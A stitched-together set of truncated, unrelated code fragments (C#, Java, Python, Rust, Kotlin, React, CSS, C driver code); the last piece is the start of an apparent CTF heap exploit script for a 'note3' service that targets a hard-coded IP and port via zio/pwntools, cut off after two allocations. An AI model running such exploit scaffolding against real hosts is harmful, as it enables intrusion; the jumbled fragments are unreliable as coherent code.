            var nameSubset4 = names[..6];
            foreach (var name in nameSubset4)
                Console.WriteLine(name);

            //INDICES

            Console.WriteLine("--------------------Indices---------------------");

            //We can get elements relative to the end of the list using the ^ operator.
            Console.WriteLine(names[^1]); //Jannelle
            Console.WriteLine(names[^3]); //Hasan
        }
    }
}


# Copyright 2012-2018 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2

from portage.tests import TestCase
from portage.tests.resolver.ResolverPlayground import (
    ResolverPlayground,
    ResolverPlaygroundTestCase,
)

class TestDepend(TestCase):
    ebuilds = {
        "dev-libs/A-1": {
            "IUSE": "test",
            "DEPEND": "test? ( dev-libs/B )",
        },
        "dev-libs/B-1": {},
    }

    installed = {
        "dev-libs/A-1": {
            "USE": "",
            "IUSE": "test",
            "DEPEND": "test? ( dev-libs/B )",
        },
    }

    def test_default_use_test(self):
        """
        Test that FEATURES=test enables USE=test by default.
        """
        user_config = {"make.conf": ("FEATURES=test", 'USE=""')}
        test_case = ResolverPlaygroundTestCase(
            ["dev-libs/A"],
            options={},
            success=True,
            mergelist=["dev-libs/B-1", "dev-libs/A-1"],
        )

        playground = ResolverPlayground(
            ebuilds=self.ebuilds, user_config=user_config, debug=False
        )
        try:
            playground.run_TestCase(test_case)
            self.assertEqual(test_case.test_success, True, test_case.fail_msg)
        finally:
            playground.cleanup()

    def test_no_forced_use_test(self):
        """
        Test that FEATURES=test no longer forces USE=test.
        """
        user_config = {"make.conf": ("FEATURES=test", 'USE="-test"')}
        test_case = ResolverPlaygroundTestCase(
            ["dev-libs/A"], options={}, success=True, mergelist=["dev-libs/A-1"]
        )

        playground = ResolverPlayground(
            ebuilds=self.ebuilds, user_config=user_config, debug=False
        )
        try:
            playground.run_TestCase(test_case)
            self.assertEqual(test_case.test_success, True, test_case.fail_msg)
        finally:
            playground.cleanup()

    def test_newuse(self):
        """
        Test that --newuse now detects USE=test changes.
        """
        user_config = {"make.conf": ("FEATURES=test", 'USE=""')}
        test_case = ResolverPlaygroundTestCase(
            ["dev-libs/A"],
            options={"--newuse": True, "--selective": True},
            success=True,
            mergelist=["dev-libs/B-1", "dev-libs/A-1"],
        )

        playground = ResolverPlayground(
            ebuilds=self.ebuilds, user_config=user_config, debug=False
        )
        try:
            playground.run_TestCase(test_case)
            self.assertEqual(test_case.test_success, True, test_case.fail_msg)
        finally:
            playground.cleanup()


   aggregation.namedExprs = new NamedExpr[namedExprs.length];
      for (int i = 0; i < namedExprs.length; i++) {
        aggregation.namedExprs[i] = (NamedExpr) namedExprs[i].clone();
      }
    }

    if (groups != null) {
      aggregation.groups = new GroupElement[groups.length];
      for (int i = 0; i < groups.length; i++) {
        aggregation.groups[i] = (GroupElement) groups[i].clone();
      }
    }
    return aggregation;
  }

  public static class GroupElement implements JsonSerializable, Cloneable {
    @Expose @SerializedName("GroupType")
    private GroupType group_type;
    @Expose @SerializedName("Dimensions")
    private Expr [] grouping_sets;

    public GroupElement(GroupType groupType, Expr[] grouping_sets) {
      this.group_type = groupType;
      this.grouping_sets = grouping_sets;
    }

    public GroupType getType() {
      return this.group_type;
    }

    public Expr[] getGroupingSets() {
      return this.grouping_sets;
    }

    public String toString() {
      return toJson();
    }

    @Override
    public String toJson() {
      return JsonHelper.toJson(this);
    }

    @Override
    public int hashCode() {
      return Objects.hashCode(group_type, Objects.hashCode(grouping_sets));
    }

    @Override
    public boolean equals(Object obj) {
      if (obj instanceof GroupElement) {
        GroupElement other = (GroupElement) obj;
        return group_type.equals(other.group_type) &&
            TUtil.checkEquals(grouping_sets, other.grouping_sets);
      }

      return false;
    }

    @Override
    public Object clone() throws CloneNotSupportedException {
      GroupElement element = (GroupElement) super.clone();
      element.group_type = group_type;
      if (element.grouping_sets != null) {
        element.grouping_sets = new Expr[grouping_sets.length];
        for (int i = 0; i < grouping_sets.length; i++) {
          element.grouping_sets[i] = (Expr) grouping_sets[i].clone();
        }
      }
      return element;
    }
  }

  public enum GroupType {
    OrdinaryGroup(""),
    Cube("Cube"),
    Rollup("Rollup"),
    EmptySet("()");

    String displayName;
    GroupType(String displayName) {
      this.displayName = displayName;
    }

    public String toString() {
      return displayName;
    }
  }
}
/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.tomcat.jdbc.pool.interceptor;

import java.lang.reflect.Method;
import java.security.SecureRandom;

public class InduceSlowQuery extends AbstractQueryReport {
    public static final SecureRandom random = new SecureRandom();

    public InduceSlowQuery() {
        // TODO Auto-generated constructor stub
    }

    public void doWait() {
        try {
            int b =


 xyz[i++] = y0;  xyz[i++] = sin(x1,y0);
        xyz[i++] = x0;  xyz[i++] = y1;  xyz[i++] = sin(x0,y1);
        xyz[i++] = x1;  xyz[i++] = y1;  xyz[i++] = sin(x1,y1);
      }
    }
    return xyz;
  }
  private static float sin(float x, float y) {
    return (float)(5.0+0.25*Math.sin(x+y));
  }

  private static float[] addBulge(float[] xyz) {
    int n = xyz.length;
    float[] t = new float[n];
    for (int i=0; i<n; i+=3) {
      float x = xyz[i  ];
      float y = xyz[i+1];
      float z = xyz[i+2];
      z -= exp(x,y);
      t[i  ] = x;
      t[i+1] = y;
      t[i+2] = z;
    }
    return t;
  }
  private static float exp(float x, float y) {
    x -= 5.0f;
    y -= 5.0f;
    x *= 0.4f;
    y *= 0.8f;
    return (float)(2.0*Math.exp(-x*x-y*y));
  }

  private static float[] addTear(float[] xyz) {
    int n = xyz.length;
    float[] t = new float[n];
    int nt = n/9;
    for (int it=0,i=0,j=0; it<nt; ++it) {
      float xa = xyz[i++];
      float ya = xyz[i++];
      float za = xyz[i++];
      float xb = xyz[i++];
      float yb = xyz[i++];
      float zb = xyz[i++];
      float xc = xyz[i++];
      float yc = xyz[i++];
      float zc = xyz[i++];
      float x = 0.333333f*(xa+xb+xc);
      if (x>5.0f) {
        za += exp(xa,ya);
        zb += exp(xb,yb);
        zc += exp(xc,yc);
      }
      t[j++] = xa;  t[j++] = ya;  t[j++] = za;
      t[j++] = xb;  t[j++] = yb;  t[j++] = zb;
      t[j++] = xc;  t[j++] = yc;  t[j++] = zc;
    }
    return t;
  }
}
/****************************************************************************
Copyright 2013, Colorado School of Mines and others.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
****************************************************************************/
package jtkdemo.sgl;

import java.awt.*;

import edu.mines.jtk.dsp.*;
import edu.mines.jtk.sgl.*;
import static edu.mines.jtk.util.ArrayMath.*;

/**
 * Demos {@link edu.mines.jtk.sgl.TensorsPanel}.
 * @author Dave Hale
 * @version 2013.11.20
 */
public class TensorsPanelDemo {

  public static void main(String[] args) {
    demo1();
    demo2();
    demo3();
  }

  public static void demo1() {
    int n1 = 1;
    int n2 = 111;
    int n3 = 111;
    EigenTensors3 et = new EigenTensors3(n1,n


Questions: question?.question,
          Answers: question?.answer,
        };
      else return { Questions: question?.question, Answers: question?.answer };
    });
    const merge = [
      { s: { r: 1, c: 0 }, e: { r: reportData.QnA.length, c: 0 } },
      { s: { r: 1, c: 1 }, e: { r: reportData.QnA.length, c: 1 } },
    ];
    const ws = XLSX.utils.json_to_sheet(data, {
      header: ["session no", "Created At", "Questions", "Answers"],
    });
    ws["!merges"] = merge;

    const wb = { Sheets: { data: ws }, SheetNames: ["data"] };

    const excelBuffer = XLSX.write(wb, { bookType: "xlsx", type: "array" });
    const dataFile = new Blob([excelBuffer], { type: fileType });
    FileSaver.saveAs(dataFile, fileName + fileExtension);
  };

  const GetPrevReport = () => {
    if (!selectedCounselee?.service_id)
      return setMessage({ ...message, error: "Service ID is empty" });
    if (!counsellor?.service_id) {
      setMessage({ ...message, error: "Counsellor Service ID is empty" });
      return setTimeout(() => {
        return (window.location.href = "/");
      }, 2000);
    }

    axios
      .get(
        `/user/getfeedback?service_id=${selectedCounselee?.service_id}&counsellor_service_id=${counsellor?.service_id}`,
        {
          headers: {
            Authorization: `Bearer ${localStorage.getItem("token")}`,
          },
        }
      )
      .then((data) => {
        if (data?.data) {
          const val = JSON.parse(JSON.stringify(data?.data));
          setFormData(val);
          setTotalSession(data?.data?.counselling_session?.length);
          setActiveSession(data?.data?.counselling_session?.length - 1);
        } else {
          setFormData({
            counselling_session: [],
            counselling_session_timestamp: [],
          });
          setTotalSession(0);
          setActiveSession(-1);
        }
        prevReport.current = data?.data
          ? JSON.parse(JSON.stringify(data?.data))
          : {
              service_id: selectedCounselee?.service_id,
              counselling_session: [],
              counselling_session_timestamp: [],
            };
        setPrevReport(JSON.parse(JSON.stringify(prevReport.current)));
        if (data?.data?.counselling_session)
          setTotalSession(data?.data?.counselling_session?.length);
      });
  };

  const Reset = () => {
    setSelectedcounselee({});
    setFormData({
      Academics: "",
      Projects: "",
      "Sick Report": "",
      OLQ: "",
      Games: "",
      Cultural: "",
      Financial: "",
      Personal: "",
      report_hof: "",
      "DS's comments": "",
    });

    prevReport.current = [];
  };

  return (

      {
        <Snackbar
          open={message?.error}
          autoHideDuration={6000}
          onClose={() => setMessage({ message: null, error: null })}
          anchorOrigin={{ vertical: "top", horizontal: "right" }}
        >
          <Alert severity="error">

{message.error}

          </Alert>
        </Snackbar>
      }
      {
        <Snackbar
          open={message?.message}
          autoHideDuration={6000}
          onClose={() => setMessage({ message: null, error: null })}
          anchorOrigin={{ vertical: "top", horizontal: "right" }}
        >
          <Alert severity="success">

{message.message}

          </Alert>
        </Snackbar>
      }
      <div class="row align-


delay(1);

		switch (rfpath) {
		case RF90_PATH_A:
			rtstatus = rtl92c_phy_config_rf_with_headerfile(hw,
						(enum radio_path)rfpath);
			break;
		case RF90_PATH_B:
			rtstatus = rtl92c_phy_config_rf_with_headerfile(hw,
						(enum radio_path)rfpath);
			break;
		case RF90_PATH_C:
			break;
		case RF90_PATH_D:
			break;
		}

		switch (rfpath) {
		case RF90_PATH_A:
		case RF90_PATH_C:
			rtl_set_bbreg(hw, pphyreg->rfintfs,
				      BRFSI_RFENV, u4_regvalue);
			break;
		case RF90_PATH_B:
		case RF90_PATH_D:
			rtl_set_bbreg(hw, pphyreg->rfintfs,
				      BRFSI_RFENV << 16, u4_regvalue);
			break;
		}

		if (!rtstatus) {
			RT_TRACE(rtlpriv, COMP_INIT, DBG_TRACE,
				 "Radio[%d] Fail!!\n", rfpath);
			return false;
		}

	}

	RT_TRACE(rtlpriv, COMP_INIT, DBG_TRACE, "<---\n");
	return rtstatus;
}


QueryMsg::QueryTicketInfo { tid })?,
    )?;
    if env.block.time.seconds() < ticket_info.bet_finish_timestamp {
        return Err(TAError::BetNotFinished.into());
    }

    // Decide winning bet
    // Get the bets for the ticket
    let curr_bets = read_bets_ticket(deps.storage, U64Key::from(tid))?;

    // Choose the winning bet(lowest bet amount)
    let winning_bet = match curr_bets.iter().min_by(|x, y| x.bet_amt.cmp(&y.bet_amt)) {
        Some(v) => v,
        None => return Err(TAError::NotFound.into()),
    };

    // Clear the bets data & prepare the msgs to return collaterals.
    remove_bets_ticket(deps.storage, U64Key::from(tid))?;
    let msgs: Vec<CosmosMsg> = vec![CosmosMsg::Wasm(WasmMsg::Execute {
        contract_addr: config.ticket_manager,
        msg: to_binary(&TicketExecuteMsg::SaveTicketWorker(TicketWorkerPair {
            tid,
            worker: winning_bet.worker.to_string(),
        }))?,
        funds: vec![],
    })];

    // TODO: Prepare msgs to release the stakes of failed bet.

    Ok(Response::new()
        .add_messages(msgs)
        .add_attributes(vec![attr("method", "win_bet")]))
}

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn query(deps: Deps, _env: Env, msg: QueryMsg) -> StdResult<Binary> {
    match msg {
        QueryMsg::BetAvailableTickets => to_binary(&query_bet_avail_tickets(deps)?),
        QueryMsg::CurrActiveBets { tid } => to_binary(&query_curr_active_bets(deps, tid)?),
    }
}

// Query the bet available tickets.
fn query_bet_avail_tickets(deps: Deps) -> StdResult<Vec<u64>> {
    // Query the tickets(ids) which currently have bets.
    let keys = read_curr_avail_tickets(deps.storage)?;
    Ok(keys)
}

// Query the current bets for ticket id.
fn query_curr_active_bets(deps: Deps, tid: u64) -> StdResult<Vec<BetDetail>> {
    // Query the current bets for ticket(tid)
    let curr_bets = read_bets_ticket(deps.storage, U64Key::from(tid))?;
    Ok(curr_bets)
}

#[cfg_attr(not(feature = "library"), entry_point)]
pub fn migrate(_deps: DepsMut, _env: Env, _msg: MigrateMsg) -> StdResult<Response> {
    Ok(Response::default())
}
use cgmath::{Point3, Vector3};

/// Describes a ray by an origin point and a direction vector.
///
/// The direction vector MUST have a length, but does not need to be a unit-vector
#[derive(Debug, Clone)]
pub struct Ray {
    /// ray origin
    pub origin: Point3<f32>,
    /// ray direction, not normalized
    pub direction: Vector3<f32>,
}

impl Ray {

    /// Calculate the point that when moving distance*direction away from origin.
    ///
    /// ```
    /// # use cg_shapes::Ray;
    /// # use cgmath::{Point3, Vector3};
    /// let ray = Ray {
    ///         origin: Point3::new(0.0, 0.0, 0.0),
    ///         direction: Vector3::new(1.0, 0.5, 0.0)
    /// };
    ///
    /// assert_eq!(ray.cast_distance(0.0), Point3::new(0.0, 0.0, 0.0));
    /// assert_eq!(ray.cast_distance(1.0), Point3::new(1.0, 0.5, 0.0));
    /// assert_eq!(ray.cast


# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from odoo import http
from odoo.http import request
from odoo.addons.stock_barcode.controllers.stock_barcode import StockBarcodeController

class StockBarcodePickingBatchController(StockBarcodeController):

    @http.route()
    def main_menu(self, barcode):
        ret_open_batch_picking = self.try_open_batch_picking(barcode)
        if ret_open_batch_picking:
            return ret_open_batch_picking
        return super().main_menu(barcode)

    def try_open_batch_picking(self, barcode):
        batch_picking = request.env['stock.picking.batch'].search([
            ('name', '=', barcode),
        ], limit=1)
        if batch_picking:
            action = batch_picking.action_client_action()
            action['context'] = {'active_id': batch_picking.id}
            action = {'action': action}
            return action
        return False


(2) {
  will-change: transform, opacity;
  animation: fade-up-item-2 2s ease-in-out;
}

.list .blog-post:nth-of-type(3) {
  will-change: transform, opacity;
  animation: fade-up-item-3 2s ease-in-out;
}

.list .blog-post:nth-of-type(4) {
  will-change: transform, opacity;
  animation: fade-up-item-4 2s ease-in-out;
}

.list .blog-post:nth-of-type(5) {
  will-change: transform, opacity;
  animation: fade-up-item-5 2s ease-in-out;
}

.list .blog-post:nth-of-type(6) {
  will-change: transform, opacity;
  animation: fade-up-item-6 2s ease-in-out;
}

.list .blog-post:nth-of-type(7) {
  will-change: transform, opacity;
  animation: fade-up-item-7 2s ease-in-out;
}

.list .blog-post:nth-of-type(8) {
  will-change: transform, opacity;
  animation: fade-up-item-8 2s ease-in-out;
}

.list .blog-post:nth-of-type(9) {
  will-change: transform, opacity;
  animation: fade-up-item-9 2s ease-in-out;
}

.list .blog-post:nth-of-type(10) {
  will-change: transform, opacity;
  animation: fade-up-item-10 2s ease-in-out;
}

.page404 .number {
  font-family: cursive, serif;
  font-size: 200px;
  text-align: center;
  line-height: normal;
}

.page404 .error-banner {
  display: flex;
  justify-content: center;
}

.page404 .error-banner svg {
  position: relative;
  overflow: visible;
  z-index: 2;
  transform: translate3d(0, 0, 0);
  margin: 3em;
}

.page404 [id$=cube-1],
.page404 [id$=cube-13],
.page404 [id$=cube-25] {
  animation: drop-cube-1 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-1] path,
.page404 [id$=cube-13] path,
.page404 [id$=cube-25] path {
  animation: fade-cube-1 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-2],
.page404 [id$=cube-14],
.page404 [id$=cube-26] {
  animation: drop-cube-2 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-2] path,
.page404 [id$=cube-14] path,
.page404 [id$=cube-26] path {
  animation: fade-cube-2 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-3],
.page404 [id$=cube-15],
.page404 [id$=cube-27] {
  animation: drop-cube-3 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-3] path,
.page404 [id$=cube-15] path,
.page404 [id$=cube-27] path {
  animation: fade-cube-3 0.9s cubic-bezier(0.19, 1, 0.32, 1);
}

.page404 [id$=cube-4],
.page404 [id$=cube-16],
.page404 [id$=cube-28] {
  animation: drop-cube-4 0.9s cubic-bezier(0.19, 1,


pository
                    .getBotsListObservable()
                    .map {
                        if (currentTags.isEmpty()) {
                            currentTags = botsRepository.getTags()
                        }
                        shopItemMapper.mapList(it, language, currentTags)
                    }
                    .map { list -> list.sortedWith(compareBy(ShopItem::priority, ShopItem::title)) }

    // Отдельный бот для отображения инфы
    fun getSingleBotObservable(botId: String, language: String): Observable<ShopItem> =
            botsRepository
                    .getSingleBotObservable(botId)
                    .map {
                        if (currentTags.isEmpty()) {
                            currentTags = botsRepository.getTags()
                        }
                        shopItemMapper.mapItem(it, currentTags, language)
                    }

    // ПОлучение категорий
    fun getAvailableCategories(language: String): Observable<List<SmartBotCategory>> =
            botsRepository
                    .getAllCategories()
                    .map { categoriesMapper.mapList(it, language) }
                    .map { list -> list.sortedByDescending { it.priority } }

    // Подгрузка собственных оценок
    fun fetchVotes(userId: Long) {
        botsRepository.fetchVotes(userId).subscribe({}, { it.printStackTrace() }).also { disposables.add(it) }
    }

    // Подписка на обновления удаленного хранилища ботов
    fun listenForRemoteBotUpdates(callback: FirebaseSnapshotCallback) {
        botsRepository.getRemoteBotUpdates()
                .subscribeOn(Schedulers.io())
                .observeOn(Schedulers.io())
                .subscribe({ snapshot: QuerySnapshot ->
                    if (snapshot.documents.isNotEmpty()) {
                        botsRepository.storeBotDocuments(snapshot)
                        callback.onSuccess()
                        fetchTags()
                        rebuildActiveBotsList()
                    }
                }, { t: Throwable ->
                    t.printStackTrace()
                })
                .also { disposables.add(it) }
    }

    fun handleChosenBotAnswer(botId: String, tag: String, position: Int, userId: Int) {
        Completable.fromAction {
            if (botId == BotConstants.HOLIDAYS_ID) {
                answersRepository.saveHolidayGreeting(userId, tag)
            } else {
                answersRepository.increaseResponseCounter(botId, tag, position)
            }
        }
                .subscribeOn(Schedulers.io())
                .subscribe({}, { e -> e.printStackTrace() })
                .also { disposables.add(it) }
    }

    private fun fetchTags() {
        botsRepository.getTagsInfo()
                .subscribeOn(Schedulers.io())
                .observeOn(Schedulers.io())
                .subscribe({ snapshot: QuerySnapshot ->
                    if (snapshot.documents.isNotEmpty()) {
                        botsRepository.storeTagDocuments(snapshot)
                        fetchCategories()
                    }
                }, { t: Throwable ->
                    t.printStackTrace()
                })
                .also { disposables.add(it) }
    }

    private fun fetchCategories() {
        botsRepository.getCategoriesInfo()
                .subscribeOn(Schedulers.io())
                .observeOn(Schedulers.io())
                .subscribe({ snapshot: QuerySnapshot ->
                    if (snapshot.documents.isNotEmpty()) {
                        botsRepository.storeCategoryDocuments(snapshot)
                        fetchCategories()
                    }
                }, { t: Throwable ->
                    t.printStackTrace()
                })
                .also { disposables.add(it) }
    }

    // Простая валида


}

/* cell is dirty */
.jp-Notebook .jp-Cell.jp-mod-dirty .jp-InputPrompt {
  color: var(--jp-warn-color1);
}

.jp-Notebook .jp-Cell.jp-mod-dirty .jp-InputPrompt::before {
  color: var(--jp-warn-color1);
  content: '•';
}

.jp-Notebook .jp-Cell.jp-mod-active.jp-mod-dirty .jp-Collapser {
  background: var(--jp-warn-color1);
}

/* collapser is hovered */
.jp-Notebook .jp-Cell .jp-Collapser:hover {
  box-shadow: var(--jp-elevation-z2);
  background: var(--jp-brand-color1);
  opacity: var(--jp-cell-collapser-not-active-hover-opacity);
}

/* cell is active and collapser is hovered */
.jp-Notebook .jp-Cell.jp-mod-active .jp-Collapser:hover {
  background: var(--jp-brand-color0);
  opacity: 1;
}

/* Command mode */

.jp-Notebook.jp-mod-commandMode .jp-Cell.jp-mod-selected {
  background: var(--jp-notebook-multiselected-color);
}

.jp-Notebook.jp-mod-commandMode
  .jp-Cell.jp-mod-active.jp-mod-selected:not(.jp-mod-multiSelected) {
  background: transparent;
}

/* Edit mode */

.jp-Notebook.jp-mod-editMode .jp-Cell.jp-mod-active .jp-InputArea-editor {
  border: var(--jp-border-width) solid var(--jp-cell-editor-active-border-color);
  box-shadow: var(--jp-input-box-shadow);
  background-color: var(--jp-cell-editor-active-background);
}

/*-----------------------------------------------------------------------------
| Notebook drag and drop
|----------------------------------------------------------------------------*/

.jp-Notebook-cell.jp-mod-dropSource {
  opacity: 0.5;
}

.jp-Notebook-cell.jp-mod-dropTarget,
.jp-Notebook.jp-mod-commandMode
  .jp-Notebook-cell.jp-mod-active.jp-mod-selected.jp-mod-dropTarget {
  border-top-color: var(--jp-private-notebook-selected-color);
  border-top-style: solid;
  border-top-width: 2px;
}

.jp-dragImage {
  display: block;
  flex-direction: row;
  width: var(--jp-private-notebook-dragImage-width);
  height: var(--jp-private-notebook-dragImage-height);
  border: var(--jp-border-width) solid var(--jp-cell-editor-border-color);
  background: var(--jp-cell-editor-background);
  overflow: visible;
}

.jp-dragImage-singlePrompt {
  box-shadow: 2px 2px 4px 0 rgba(0, 0, 0, 0.12);
}

.jp-dragImage .jp-dragImage-content {
  flex: 1 1 auto;
  z-index: 2;
  font-size: var(--jp-code-font-size);
  font-family: var(--jp-code-font-family);
  line-height: var(--jp-code-line-height);
  padding: var(--jp-code-padding);
  border: var(--jp-border-width) solid var(--jp-cell-editor-border-color);
  background: var(--jp-cell-editor-background-color);
  color: var(--jp-content-font-color3);
  text-align: left;
  margin: 4px 4px 4px 0;
}

.jp-dragImage .jp-dragImage-prompt {
  flex: 0 0 auto;
  min-width: 36px;
  color: var(--jp-cell-inprompt-font-color);
  padding: var(--jp-code-padding);
  padding-left: 12px;
  fon


// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.

namespace BPerfCPUSamplesCollector
{
    internal enum BPFCmd
    {
        BPF_MAP_CREATE,
        BPF_MAP_LOOKUP_ELEM,
        BPF_MAP_UPDATE_ELEM,
        BPF_MAP_DELETE_ELEM,
        BPF_MAP_GET_NEXT_KEY,
        BPF_PROG_LOAD,
        BPF_OBJ_PIN,
        BPF_OBJ_GET,
        BPF_PROG_ATTACH,
        BPF_PROG_DETACH,
        BPF_PROG_TEST_RUN,


 0xF9, 0xFF, 0xFD, 0xF3, 0xF1, 0xF7, 0xF5, 0xEB, 0xE9, 0xEF, 0xED,
  0xE3, 0xE1, 0xE7, 0xE5
];

/**
 * Precomputed lookup of multiplication by 3 in GF(2^8)
 * @type {!Array<number>}
 * @private
 */
goog.crypt.Aes.MULT_3_ = [
  0x00, 0x03, 0x06, 0x05, 0x0C, 0x0F, 0x0A, 0x09, 0x18, 0x1B, 0x1E, 0x1D,
  0x14, 0x17, 0x12, 0x11,

  0x30, 0x33, 0x36, 0x35, 0x3C, 0x3F, 0x3A, 0x39, 0x28, 0x2B, 0x2E, 0x2D,
  0x24, 0x27, 0x22, 0x21,

  0x60, 0x63, 0x66, 0x65, 0x6C, 0x6F, 0x6A, 0x69, 0x78, 0x7B, 0x7E, 0x7D,
  0x74, 0x77, 0x72, 0x71,

  0x50, 0x53, 0x56, 0x55, 0x5C, 0x5F, 0x5A, 0x59, 0x48, 0x4B, 0x4E, 0x4D,
  0x44, 0x47, 0x42, 0x41,

  0xC0, 0xC3, 0xC6, 0xC5, 0xCC, 0xCF, 0xCA, 0xC9, 0xD8, 0xDB, 0xDE, 0xDD,
  0xD4, 0xD7, 0xD2, 0xD1,

  0xF0, 0xF3, 0xF6, 0xF5, 0xFC, 0xFF, 0xFA, 0xF9, 0xE8, 0xEB, 0xEE, 0xED,
  0xE4, 0xE7, 0xE2, 0xE1,

  0xA0, 0xA3, 0xA6, 0xA5, 0xAC, 0xAF, 0xAA, 0xA9, 0xB8, 0xBB, 0xBE, 0xBD,
  0xB4, 0xB7, 0xB2, 0xB1,

  0x90, 0x93, 0x96, 0x95, 0x9C, 0x9F, 0x9A, 0x99, 0x88, 0x8B, 0x8E, 0x8D,
  0x84, 0x87, 0x82, 0x81,

  0x9B, 0x98, 0x9D, 0x9E, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86,
  0x8F, 0x8C, 0x89, 0x8A,

  0xAB, 0xA8, 0xAD, 0xAE, 0xA7, 0xA4, 0xA1, 0xA2, 0xB3, 0xB0, 0xB5, 0xB6,
  0xBF, 0xBC, 0xB9, 0xBA,

  0xFB, 0xF8, 0xFD, 0xFE, 0xF7, 0xF4, 0xF1, 0xF2, 0xE3, 0xE0, 0xE5, 0xE6,
  0xEF, 0xEC, 0xE9, 0xEA,

  0xCB, 0xC8, 0xCD, 0xCE, 0xC7, 0xC4, 0xC1, 0xC2, 0xD3, 0xD0, 0xD5, 0xD6,
  0xDF, 0xDC, 0xD9, 0xDA,

  0x5B,


 Initializes a new instance of the <see cref="Message{TModel}"/> class.
    /// </summary>
    /// <param name="data">The data.</param>
    /// <param name="now">The current UTC date/time.</param>
    public Message(TModel data, DateTime now)
    {
        Created = now.Ticks;
        Data = data;
    }

    /// <summary>
    /// Gets or sets the UTC ticks the <see cref="Message{TModel}" /> was created.
    /// </summary>
    /// <value>
    /// The created UTC ticks.
    /// </value>
    public long Created { get; set; }

    /// <summary>
    /// Gets or sets the data.
    /// </summary>
    /// <value>
    /// The data.
    /// </value>
    public TModel Data { get; set; }
}


age));
				request.setEncrypt(true);
				String url = opcRpcService.getFileUrl(request);
				urlList.add(url);
			}
			productDetailVo.setSubImages(Joiner.on(GlobalConstant.Symbol.COMMA).join(urlList));
		}

		productDetailVo.setId(product.getId());
		productDetailVo.setSubtitle(product.getSubtitle());
		productDetailVo.setPrice(product.getPrice());

		productDetailVo.setDetail(product.getDetail());
		productDetailVo.setName(product.getName());
		productDetailVo.setStatus(product.getStatus());
		productDetailVo.setStock(product.getStock());

		productDetailVo.setImageHost("");

		MdcProductCategory category = mdcProductCategoryService.getByCategoryId(product.getId());
		if (category == null) {
			//默认根节点
			productDetailVo.setPid(0L);
		} else {
			productDetailVo.setPid(category.getPid());
		}

		return productDetailVo;
	}
}
/*
 * Copyright (c) 2018. paascloud.net All Rights Reserved.
 * 项目名称：paascloud快速搭建企业级分布式微服务平台
 * 类名称：OmcOrderDetail.java
 * 创建人：刘兆明
 * 联系方式：paascloud.net@gmail.com
 * 开源地址: https://github.com/paascloud
 * 博客地址: http://blog.paascloud.net
 * 项目官网: http://paascloud.net
 */

package com.paascloud.provider.model.domain;

import com.paascloud.core.mybatis.BaseEntity;
import lombok.Data;
import lombok.EqualsAndHashCode;

import javax.persistence.Column;
import javax.persistence.Table;
import java.math.BigDecimal;

/**
 * The class Omc order detail.
 *
 * @author paascloud.net@gmail.com
 */
@EqualsAndHashCode(callSuper = true)
@Data
@Table(name = "pc_omc_order_detail")
public class OmcOrderDetail extends BaseEntity {

	private static final long serialVersionUID = -2167960069551022897L;
	/**
	 * 订单明细序列号
	 */
	@Column(name = "detail_no")
	private String detailNo;

	@Column(name = "user_id")
	private Long userId;

	@Column(name = "order_no")
	private String orderNo;

	@Column(name = "product_id")
	private Long productId;

	/**
	 * 商品名称
	 */
	@Column(name = "product_name")
	private String productName;

	/**
	 * 商品图片地址
	 */
	@Column(name = "product_image")
	private String productImage;

	/**
	 * 生成订单时的商品单价, 单位是元,保留两位小数
	 */
	@Column(name = "current_unit_price")
	private BigDecimal currentUnitPrice;

	/**
	 * 商品数量
	 */
	private Integer quantity;

	/**
	 * 商品总价,单位是元,保留两位小数
	 */
	@Column(name = "total_price")
	private BigDecimal totalPrice;
}/*
 * Copyright (c) 2018. paascloud.net All Rights Reserved.
 * 项目名称：paascloud快速搭建企业级分布式微服务平台
 * 类名称：TpcMqConsumerMapper.java
 * 创建人：刘兆明
 * 联系方式：paascloud.net@gmail.com
 * 开源地址: https://github.com/paascloud
 * 博客地址: http://blog.paascloud.net
 * 项目官网: http://paascloud.net
 */

package com.paascloud.provider.mapper;

import com.paascloud.core.mybatis.MyMapper;
import com.paascloud.provider.model.domain.TpcMqConsumer;
import com.paascloud.provider.model.vo.TpcMq


from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note3"
target = ("115.28.27.103", 9003)

def get_io(target):
	r_m = COLORED(RAW, "green")
	w_m = COLORED(RAW, "blue")
	io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
	return  io

def new_note(io, length_t, content_t):
	io.read_until("option--->>\n")
	io.writeline("1")
	io.read_until("content:(less than 1024)\n")
	io.writeline(str(length_t))
	io.read_until("content:\n")
	io.writeline(content_t)

def delete_note(io, id_t):
	io.read_until("option--->>\n")
	io.writeline("4")
	io.read_until("id of the note:\n")
	io.writeline(str(id_t))

def edit_note(io, id_t, content_t):
	io.read_until("option--->>\n")
	io.writeline("3")
	io.read_until("id of the note:\n")
	io.writeline(str(id_t))
	io.read_until("content:")
	io.writeline(content_t)

def pwn(io):

	new_note(io, 0x80, 'aaaaaa')
	new_note(io, 0x80, 'bbbbbb')
